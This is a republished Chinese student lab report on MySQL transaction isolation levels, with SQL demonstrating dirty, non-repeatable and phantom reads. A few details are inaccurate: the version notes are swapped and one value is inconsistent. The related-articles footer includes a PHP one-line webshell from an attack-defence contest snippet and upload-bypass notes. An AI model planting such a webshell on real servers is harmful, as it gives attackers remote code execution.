【计算机网络安全】湖北大学-mysql事务隔离性实验

参考数据库实验:并发控制实验(MySQL)-CSDN博客,大佬写的很好


目录

实验环境

事务的隔离级别

1. 读未提交

2. 读已提交

3. 可重复读

4. 序列化

三种要解决的并发问题

1. 脏读(Dirty Read)

2. 不可重复读(Non-Repeatable Read)

3. 幻读(Phantom Read)

实验

 插入实验数据

 实验步骤:

取消MySQL的自动提交功能

读未提交:

1. 脏读

2. 不可重复读

3. 幻读

读已提交(Read Committed)

1.脏读

2. 不可重复读

3. 幻读

可重复读(Repeated Read)

1.脏读

 2.不可重复读

3.幻读

串行化(Serializable)

1. 脏读,不可重复读,串行化

 总结


实验环境

实验需要mysql环境,如果我们本机有mysql客户端,或者安装过phpstudy都可以直接用,Kali似乎也有。

本机启动phpstudy,然后打开mysql命令行

输入密码进入

如果进不去,输入mysql -uroot  -proot,其中root填你的用户名密码,phpstudy中可以重置 

事务的隔离级别

名字

隔离级别

脏读

不可重复读

幻读

读未提交

read uncommitted

读已提交

read committed

可重复读

repeatable read

串行化

serializable

1. 读未提交

最低的隔离级别,允许一个事务读取另一个事务未提交的数据。

2. 读已提交

事务只能读取到已提交的事务所做的更改。

3. 可重复读

在同一事务内多次读取相同的数据会得到相同的结果。

4. 序列化

最严格的隔离级别,确保事务串行执行,完全避免了所有并发问题。

三种要解决的并发问题

1. 脏读(Dirty Read)

定义
脏读是指一个事务能够读取到另一个事务未提交的数据。这种情况可能导致读取的数据不一致,因为未提交的事务可能会被回滚。

示例

  • 事务 A 更新了某条记录但尚未提交。
  • 事务 B 读取了事务 A 更新后的数据。
  • 如果事务 A 随后回滚,事务 B 读取的结果就变得无效,因为它读取了未提交的数据。

2. 不可重复读(Non-Repeatable Read)

定义
不可重复读是指在同一事务中,多次读取相同的数据时,读取的结果可能不同。这通常发生在另一个事务在中间修改并提交了数据。

示例

  • 事务 A 第一次读取某条记录的值。
  • 事务 B 在事务 A 进行时更新了同一条记录并提交。
  • 事务 A 再次读取同一条记录的值,发现与第一次读取的值不同。

3. 幻读(Phantom Read)

定义
幻读是指在同一事务中,两次查询返回的结果集不同,通常是因为其他事务插入了新的记录。这种现象在第二次查询时会出现“幻影”记录,即在第一次查询中不存在,但在第二次查询中出现。

示例

  • 事务 A 运行查询,返回符合条件的记录(例如,所有年龄大于 20 的用户)。
  • 事务 B 插入了一条新的记录(例如,年龄为 22 的用户)。
  • 事务 A 再次运行相同的查询,发现多了一条新记录。

实验

我们首先查询一下查询事务的隔离级别

select @@transaction_isolation;           5.7版本以下
select @@tx_isolation;            5.7版本以上

我们将事务的隔离级别设置为读未提交

SET GLOBAL TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;

 插入实验数据

创建测试数据表:

Create database test_db;

进入对应数据库:

Use test_db;

创建测试数据库:

由于用老师的代码复制全部报错,于是我用ai改了改。

CREATE TABLE `user` (`id` bigint(20) NOT NULL AUTO_INCREMENT,`name` varchar(20) DEFAULT NULL,`age` tinyint(3) DEFAULT NULL,PRIMARY KEY (`id`),KEY `idx_abc` (`name`, `age`) USING BTREE
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8mb4;

插入测试数据

INSERT INTO user (`name`, `age`) VALUES ('zhangsan', 23);

 实验步骤:

设置不同的隔离级别,进行实验验证:在不同的隔离级别下,多个事务对相同数据的操作,所看到的结果不一样,(脏读、不可重复读、幻读等情况)。

在读已提交和可重复读的隔离级别下,使用mvcc的read view进行可见性算法的推导,然后使用实验进行结果验证。

我们开启两个客户端,那么就有两个线程,从而我们可以把它当作事务A和事务B。

取消MySQL的自动提交功能

【不推荐】设置完不自动提交后(set autocommit = 0;),通过begin开启事务,写完SQL语句,需要进行commit或者rollback处理

set autocommit = 0;
begin;
commit; or rollback

【推荐】或者采用事务的方式,输入“start transaction”来开始 事务,最后进行commit或者rollback。

start transaction;
commit; or rollback

注意每次commit或者rollback都要重新start transaction;!!!!!!

读未提交:

设置隔离级别并查看,将A、B线程的隔离级别均设置为读未提交。经验证,当前隔离级别无法解决脏读、不可重复读、幻读。

set @@session.tx_isolation='READ-UNCOMMITTED'; #设置当前线程隔离级别
show variables like 'tx_isolation'; #查看隔离级别

 我们先查询一下表中的数据

1. 脏读

我们在A事务中将age改成18,但是不提交,在B事务中查询age的值,在A中再回滚,看是否发生脏数据。

如下图,A事务对age字段由23修改为18时,但是未提交。B事务读取的age字段为18,为A事务未提交的数据。即读到了并不一定最终存在的数据,就是脏读。本次实验中,A事务最终回滚,导致B读取到的数据与数据库中的真实数据36不一致。

2. 不可重复读

由下图,由于收到B事务对数据的修改操作,A事务连续两次对数据的读取出现了不一致现象,说明对于当前的隔离级别,无法避免不可重复读问题。

3. 幻读

在A事务中查询user中所有数据,共1条,然后在B事务中插入一条数据,此时,在 A 中按照相同条件查询,查询到的结果多了一条,产生了幻读现象。因此在当前隔离级别下,无法避免幻读问题。

插入数据

 INSERT INTO user (`name`, `age`) VALUES ('liu', 24);

读已提交(Read Committed)

设置隔离级别并查看,将A、B线程的隔离级别均设置为读已提交(Read Committed)。

set @@session.tx_isolation='READ-COMMITTED';
show variables like 'tx_isolation';

经验证,当前隔离级别可以解决脏读,但无法避免不可重复读、幻读。

1.脏读

 可以发现解决了脏读的问题

2. 不可重复读

经过实验不能避免不可重复读,B读取的两次数据不一样

3. 幻读

在A事务中查询user中所有数据,共3条,然后在B事务中插入一条数据,此时,在 A 中按照相同条件查询,查询到的结果多了一条,产生了幻读现象。因此在当前隔离级别下,无法避免幻读问题。

可重复读(Repeated Read)

设置隔离级别并查看,将A、B线程的隔离级别均设置为可重复读(Repeated Read)。

set @@session.tx_isolation='REPEATABLE-READ';
show variables like 'tx_isolation';

1.脏读

可以避免重复读,A更新提交,B还是不变

 2.不可重复读

B读到了A更新前的数据,

3.幻读

 实验过程中,在A事务中查询user中所有数据,共4条,然后在B事务中插入一条数据,并提交事务。此时,在 A 中按照相同条件查询,查询到的结果仍然为4条,没有产生幻读现象。当A提交事务时,查询到了新增的记录。

 查看别人的博客,这也是幻读的一种,但是还不理解。

串行化(Serializable)

设置隔离级别并查看,将A、B线程的隔离级别均设置为串行化(Serializable)。

set @@session.tx_isolation='SERIALIZABLE'; #设置当前线程隔离级别,GLOBAL全局
show variables like 'tx_isolation'; #查看隔离级别

或者设置全局隔离级别:

set global transaction isolation level SERIALIZABLE;

经验证,当前隔离级别可以解决脏读、不可重复读、幻读,验证过程见下文。

1. 脏读,不可重复读,串行化

 串行化是最严格的隔离级别,要求事务按顺序执行.B事务在未提交的时候,A事务会一直在阻塞状态,事务本质上进入了串行状态,所以有效的避免了这三种情况。

 总结

通过这次实验深入了解了四种事务隔离机制的原理。在数据库管理系统中,并发控制是确保多个事务能够安全、有效地并发执行的重要机制。MySQL 提供了多种事务隔离级别,以应对不同的并发场景。遇到了很多问题,最后也得以解决。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/474385.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

版本控制【Git Bash】【Gitee】

目录 一、什么是版本控制? 二、版本控制的种类: 1、本地版本控制 2、集中版本控制 3、分布式版本控制 三、下载Git Bash 四、Git Bash 配置 五、Git Bash使用 1、切换目录:cd 2.查看当前文件路径:pwd 3.列出当前目录下文件…

Qt中实现旋转动画效果

使用QPropertyAnimation类绑定对应的属性后 就可以给这个属性设置对应的动画 //比如自定义了属性 Q_PROPERTY(int rotation READ rotation WRITE setRotation)//给这个属性加动画效果 //参数1:谁要加动画效果 //参数2:哪个属性加动画效果 //参数3&…

Docker 基础命令介绍和常见报错解决

介绍一些 docker 可能用到的基础命令,并解决三个常见报错: 权限被拒绝(Permission Denied)无法连接到 Docker 仓库(Timeout Exceeded)磁盘空间不足(No Space Left on Device) 命令以…

web——upload-labs——第十关——.空格.绕过

审计源码 这次先删除文件名左右的空格,然后又删除了我们文件末尾的.,其次将我们上传的文件名转换为小写,删除文件末尾的::$DATA,最后又删除了文件名左右两侧的空格 根据他的逻辑,我们可以构造文件名phpinfo.php. .就是…

Python | Leetcode Python题解之第564题数组嵌套

题目&#xff1a; 题解&#xff1a; class Solution:def arrayNesting(self, nums: List[int]) -> int:ans, n 0, len(nums)for i in range(n):cnt 0while nums[i] < n:num nums[i]nums[i] ni numcnt 1ans max(ans, cnt)return ans

Stable Diffusion核心网络结构——CLIP Text Encoder

&#x1f33a;系列文章推荐&#x1f33a; 扩散模型系列文章正在持续的更新&#xff0c;更新节奏如下&#xff0c;先更新SD模型讲解&#xff0c;再更新相关的微调方法文章&#xff0c;敬请期待&#xff01;&#xff01;&#xff01;&#xff08;本文及其之前的文章均已更新&…

如何在项目中用elementui实现分页器功能

1.在结构部分复制官网代码&#xff1a; <template> 标签: 这是 Vue 模板的根标签&#xff0c;包含所有的 HTML 元素和 Vue 组件。 <div> 标签: 这是一个普通的 HTML 元素&#xff0c;包裹了 el-pagination 组件。它没有特别的意义&#xff0c;只是为了确保 el-pagi…

海量数据面试题

目录 前言 什么是海量数据 一、利用位图解决 二、利用布隆过滤器解决 三、利用哈希切割解决 前言 在大数据时代&#xff0c;海量数据处理已成为技术领域中的一项重要课题。无论是企业级应用、互联网平台&#xff0c;还是人工智能和机器学习的实现&#xff0c;都离不开对大规…

Diff 算法的误判

起源&#xff1a; 设想一下&#xff0c;假如你桌面上的文件都没有文件名&#xff0c;取而代之的是&#xff0c;你使用通过文件的位置顺序即index来区分它们———第一个文件&#xff0c;第二个文件&#xff0c;以此类推。也许这种方式可行&#xff0c;可是一旦你删除了其中的一…

基于Java Springboot幼儿园管理系统

一、作品包含 源码数据库设计文档万字PPT全套环境和工具资源部署教程 二、项目技术 前端技术&#xff1a;Html、Css、Js、Vue、Element-ui 数据库&#xff1a;MySQL 后端技术&#xff1a;Java、Spring Boot、MyBatis 三、运行环境 开发工具&#xff1a;IDEA/eclipse 数据…

Misc_01转二维码(不是二进制)

例题ctfhub/隐写v2.0 打开是一张图片 文件分离得到zip&#xff0c;爆破密码得到7878 打开得到0和1&#xff0c; !!!不是二进制转图片&#xff0c;直接是二维码 缩小能看到 000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000…

5.4.2-1 编写Java程序在HDFS上创建文件

本次实战涉及使用Java操作Hadoop HDFS&#xff0c;包括创建文件、判断文件存在性及异常处理。通过手动添加依赖、启动HDFS服务&#xff0c;成功在HDFS上创建和检查文件。进一步探索了文件操作的最佳实践&#xff0c;如检查文件存在性以避免重复创建&#xff0c;以及处理HDFS安全…

MySQL时间字段TIMESTAMP和DATETIME

SELECT global.time_zone, session.time_zone;查询数据库的全局时区和当前会话的时区信息&#xff0c;一般如果使用navicat进行连接&#xff0c;没有显示指定时区信息&#xff0c;会默认使用system_time_zone。 可以使用 SET time_zone 08:00; SELECT global.time_zone, sess…

Android集成FCM(Firebace Cloud Messaging )

集成FCM官方文档 Firebace主页面 将 Firebase 添加到您的 Android 应用 1、进入Firebace页面&#xff0c;创建自己的项目 2、点击自己创建好的项目&#xff0c;在右侧选择Cloud Messaging 3、点击Android去创建 google-services.json 4、将下载的 google-services.json 文件…

AWD脚本编写_1

AWD脚本编写_1 shell.php&#xff08;放在网站根目录下&#xff09; <?php error_reporting(0); eval($_GET["yanxiao"]); ?>脚本编写成功 后门文件利用与解析 import requests import base64def get_flag(url, flag_url, method, passwd, flag_path):cmd…

【JavaEE初阶 — 多线程】定时器的应用及模拟实现

目录 1. 标准库中的定时器 1.1 Timer 的定义 1.2 Timer 的原理 1.3 Timer 的使用 1.4 Timer 的弊端 1.5 ScheduledExecutorService 2. 模拟实现定时器 2.1 实现定时器的步骤 2.1.1 定义类描述任务 定义类描述任务 第一种定义方法 …

一文了解 inductive bias(归纳偏好)

&#x1f349; CSDN 叶庭云&#xff1a;https://yetingyun.blog.csdn.net/ 归纳偏好&#xff08;Inductive Bias&#xff09;是机器学习中的一个非常基础但又非常重要的概念。为了更好地理解它&#xff0c;我们先从 “归纳” 和 “偏好” 这两个词开始讲解。 什么是归纳&#x…

【电子设计】按键LED控制与FreeRTOS

1. 安装Keilv5 打开野火资料,寻找软件包 解压后得到的信息 百度网盘 请输入提取码 提取码:gfpp 安装526或者533版本都可以 下载需要的 F1、F4、F7、H7 名字的 DFP pack 芯片包 安装完 keil 后直接双击安装 注册操作,解压注册文件夹后根据里面的图示步骤操作 打开说明 STM…

ROS Action

在 ROS 中&#xff0c;Action 是一种支持长时间异步任务的通信机制。与 Service 不同&#xff0c;Action 允许客户端发起一个请求&#xff0c;并在任务执行的过程中不断接收反馈&#xff0c;直到任务完成。这种机制非常适用于可能需要较长时间来完成的任务&#xff0c;比如机器…

Siglus引擎 Unpack | 未完待续

前言 未完待续。 代码在这里&#xff1a;https://github.com/N0zoM1z0/SiglusEngine-Extract 以后随时会更新。&#xff08;&#xff09; 因为我是选择直接逆向游戏引擎&#xff0c;在无源码&#xff0c;不hook的情况下硬逆Siglus…… 路漫漫。。。 read.sav 可以直接逆Sigl…